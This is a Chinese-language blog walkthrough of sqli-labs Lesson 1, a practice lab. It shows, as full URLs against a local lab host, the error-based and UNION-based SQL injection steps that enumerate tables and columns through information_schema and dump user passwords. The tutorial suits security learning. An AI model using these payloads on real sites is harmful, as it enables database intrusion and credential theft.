信息安全

sqli-labs-lesson1

2018-11-30  本文已影响0人  疯帮主

搭建环境

phpstudy
配置密码


图片.png

最好在页面加上


图片.png
查看你输入的sql语句
后期可以不用

探测注入点

http://192.168.154.131/sqli/Less-1/?id=1

图片.png
这个页面是正常的

加上单引号


后面的语句需要闭合,但我可以直接注释,使用-- 这个注释前后都需要空格

图片.png

探测当前表有几个字段

使用order by num,当 num <= 字段数时,页面正常显示,否则报错
order by num可以直接跟在 where 判断结束后面

图片.png
图片.png
说明这个表有3个字段

探测回显

使用联合查询union
select 1,2,3会在对应的字段下追加一条记录1,2,3
本来查询结果是一行的,我们想看的是第二行
所以我们要使用limit 1,1从2行开始显示1行

图片.png
图片.png

探测数据库信息

http://192.168.154.131/sqli/Less-1/?id=1' union select 1,version(),database() limit 1,1--

图片.png
version()查看版本
database()查看数据库

查询表

mysql自带的数据库有个 information_schema这里存放的是数据库的信息
information_schema里面有个tables表,里面存放了那个数据库有哪些表
下图显示security数据库有哪些表

图片.png
构造语句
http://192.168.154.131/sqli/Less-1/?id=1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() limit 1,1--
图片.png
group_concat()是数据库的函数,用来拼接查询出来的结果集,
这里查出有很多个表,如果一个个显示的话比较繁琐,使用函数,把他们拼接在一起

查询字段

同样使用information_schema里面的信息
http://192.168.154.131/sqli/Less-1/?id=1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' limit 1,1--

图片.png

查询数据

这里就不需要使用information_schema
http://192.168.154.131/sqli/Less-1/?id=1' union select 1,group_concat(username),group_concat(password) from users limit 1,1--

图片.png

基本流程忘了

还可以使用报错注入

concat拼接字符串
extractvalue对XML文档进行查询的函数,第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。
http://192.168.154.131/sqli/Less-1/?id=1' and 1=extractvalue(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema=database())))--

图片.png

后面的步骤参照前面的
group_concat()有字数限制,查询可以分多次查

部分笔记

完整笔记等通关放出来


图片.png
上一篇下一篇

猜你喜欢

热点阅读